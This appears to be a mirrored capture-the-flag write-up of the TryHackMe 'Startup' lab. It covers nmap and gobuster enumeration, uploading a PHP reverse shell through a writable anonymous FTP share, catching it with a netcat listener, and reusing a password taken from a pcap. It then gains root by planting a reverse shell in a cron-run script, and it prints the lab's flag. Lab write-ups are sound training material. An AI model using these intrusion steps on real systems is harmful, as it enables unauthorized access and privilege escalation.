mirror of
https://github.com/AbdullahRizwan101/CTF-Writeups
synced 2024-09-20 06:11:56 +00:00
8.6 KiB
8.6 KiB
TryHackMe-Startup
NMAP
Nmap scan report for 10.10.126.211
Host is up (0.15s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxrwxrwx 2 65534 65534 4096 Nov 09 02:12 ftp [NSE: writeable]
|_-rw-r--r-- 1 0 0 208 Nov 09 02:12 notice.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.14.3.143
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 42:67:c9:25:f8:04:62:85:4c:00:c0:95:95:62:97:cf (RSA)
| 256 dd:97:11:35:74:2c:dd:e3:c1:75:26:b1:df:eb:a4:82 (ECDSA)
|_ 256 27:72:6c:e1:2a:a5:5b:d2:6a:69:ca:f9:b9:82:2c:b9 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Maintenance
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
PORT 80
Gobuster
root@kali:~/TryHackMe/Easy/Startup# gobuster dir -u http://10.10.126.211/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 16
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.126.211/
[+] Threads: 16
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/11/09 21:02:55 Starting gobuster
===============================================================
/files (Status: 301)
Visting /files
We found notice.txt
Whoever is leaving these damn Among Us memes in this share, it IS NOT FUNNY. People downloading documents from our website will think we are a joke! Now I dont know who it is, but Maya is looking pretty sus.
Here maya might be a username
There wasn't anything in the ftp directory
PORT 21 (FTP)
Here we find a hidden log file .test.log
But we see something interesting when looking at ftp directory
drwxrwxrwx 2 65534 65534 4096 Nov 09 02:12 ftp
We can read and write files on that directory
So I tried to upload php reverse shell and it did get uploaded
ftp> put shell.php
local: shell.php remote: shell.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5493 bytes sent in 0.00 secs (36.6331 MB/s)
ftp>
Now let's go back to /files/ftp
And then listen for the port you setup in that reverse shell and we'll get it
Croot@kali:~/TryHackMe/Easy/Startup# nc -lvp 6666
listening on [any] 6666 ...
10.10.126.211: inverse host lookup failed: Unknown host
connect to [10.14.3.143] from (UNKNOWN) [10.10.126.211] 58662
Linux startup 4.4.0-190-generic #220-Ubuntu SMP Fri Aug 28 23:02:15 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
16:32:06 up 38 min, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
rwxr-xr-x 26 root root 4096 Nov 9 15:54 .
drwxr-xr-x 26 root root 4096 Nov 9 15:54 ..
drwxr-xr-x 2 root root 4096 Sep 25 08:12 bin
drwxr-xr-x 3 root root 4096 Sep 25 08:12 boot
drwxr-xr-x 2 root root 4096 Nov 9 02:10 data
drwxr-xr-x 16 root root 3560 Nov 9 15:53 dev
drwxr-xr-x 96 root root 4096 Nov 9 02:33 etc
drwxr-xr-x 3 root root 4096 Nov 9 02:15 home
drwxr-xr-x 2 www-data www-data 4096 Nov 9 02:12 incidents
lrwxrwxrwx 1 root root 33 Sep 25 08:12 initrd.img -> boot/initrd.img-4.4.0-190-generic
lrwxrwxrwx 1 root root 33 Sep 25 08:12 initrd.img.old -> boot/initrd.img-4.4.0-190-generic
drwxr-xr-x 22 root root 4096 Sep 25 08:22 lib
drwxr-xr-x 2 root root 4096 Sep 25 08:10 lib64
drwx------ 2 root root 16384 Sep 25 08:12 lost+found
drwxr-xr-x 2 root root 4096 Sep 25 08:09 media
drwxr-xr-x 2 root root 4096 Sep 25 08:09 mnt
drwxr-xr-x 2 root root 4096 Sep 25 08:09 opt
dr-xr-xr-x 126 root root 0 Nov 9 15:53 proc
-rw-r--r-- 1 www-data www-data 136 Nov 9 02:12 recipe.txt
drwx------ 4 root root 4096 Nov 9 02:15 root
drwxr-xr-x 25 root root 900 Nov 9 16:26 run
drwxr-xr-x 2 root root 4096 Sep 25 08:22 sbin
drwxr-xr-x 2 root root 4096 Nov 9 02:10 snap
drwxr-xr-x 3 root root 4096 Nov 9 02:11 srv
dr-xr-xr-x 13 root root 0 Nov 9 16:33 sys
drwxrwxrwt 7 root root 4096 Nov 9 16:35 tmp
drwxr-xr-x 10 root root 4096 Sep 25 08:09 usr
drwxr-xr-x 2 root root 4096 Nov 9 02:10 vagrant
drwxr-xr-x 14 root root 4096 Nov 9 02:11 var
lrwxrwxrwx 1 root root 30 Sep 25 08:12 vmlinuz -> boot/vmlinuz-4.4.0-190-generic
lrwxrwxrwx 1 root root 30 Sep 25 08:12 vmlinuz.old -> boot/vmlinuz-4.4.0-190-generic
Here we can find recipe.txt that tells the answer to What is the secret spice soup recipe ?
I ran find command to check what file canwww-data is able to read
Running linpeas I found
/vagrant
/incidents
/data
Are unexpected folders in system(/) directory
Going to /incidents
www-data@startup:/incidents$ ls -al
total 40
drwxr-xr-x 2 www-data www-data 4096 Nov 9 02:12 .
drwxr-xr-x 26 root root 4096 Nov 10 14:10 ..
-rwxr-xr-x 1 www-data www-data 31224 Nov 9 02:12 suspicious.pcapng
www-data@startup:/incidents$
I then followed tcp stream
Now this c4ntg3t3n0ughsp1c3 password maybe for lennie or vagrant
www-data@startup:/incidents$ su lennie
Password:
lennie@startup:/incidents$
So we finally get to lower privileged user
User Flag
lennie@startup:/incidents$ cd ~
lennie@startup:~$ ls -al
total 20
drwx------ 4 lennie lennie 4096 Nov 9 02:12 .
drwxr-xr-x 3 root root 4096 Nov 9 02:15 ..
drwxr-xr-x 2 lennie lennie 4096 Nov 9 02:12 Documents
drwxr-xr-x 2 root root 4096 Nov 9 02:13 scripts
-rw-r--r-- 1 lennie lennie 38 Nov 9 02:12 user.txt
lennie@startup:~$ cat user.txt
THM{03ce3d619b80ccbfb3b7fc81e46c0e79}
lennie@startup:~$
Privilege Escalation
lennie@startup:~/scripts$ ls -al
total 16
drwxr-xr-x 2 root root 4096 Nov 9 02:13 .
drwx------ 4 lennie lennie 4096 Nov 9 02:12 ..
-rwxr-xr-x 1 root root 77 Nov 9 02:12 planner.sh
-rw-r--r-- 1 root root 1 Nov 10 14:45 startup_list.txt
lennie@startup:~/scripts$
We now can see in lennie's home directory there is /srcipts where we can do something with planner.sh. It seems we cannot edit that file so there is another script file that we can edit
lennie@startup:~/scripts$ ls -al
total 16
drwxr-xr-x 2 root root 4096 Nov 9 02:13 .
drwx------ 4 lennie lennie 4096 Nov 9 02:12 ..
-rwxr-xr-x 1 root root 77 Nov 9 02:12 planner.sh
-rw-r--r-- 1 root root 1 Nov 10 14:58 startup_list.txt
lennie@startup:~/scripts$ cat /etc/print.sh
#!/bin/bash
echo "Done!"
lennie@startup:~/scripts$ ls -al /etc/print.sh
-rwx------ 1 lennie lennie 25 Nov 9 02:12 /etc/print.sh
lennie@startup:~/scripts$ cat /etc/print.sh
#!/bin/bash
echo "Done!"
lennie@startup:~/scripts$
After adding a reverse bash shell don't just run the script because it would just give you a shell as lennie see starts listening and don't just run the script it would give a shell with in a minute.
root@startup:~# crontab -l
crontab -l
* * * * * /home/lennie/scripts/planner.sh
root@startup:~#
As you can see it was a cronjob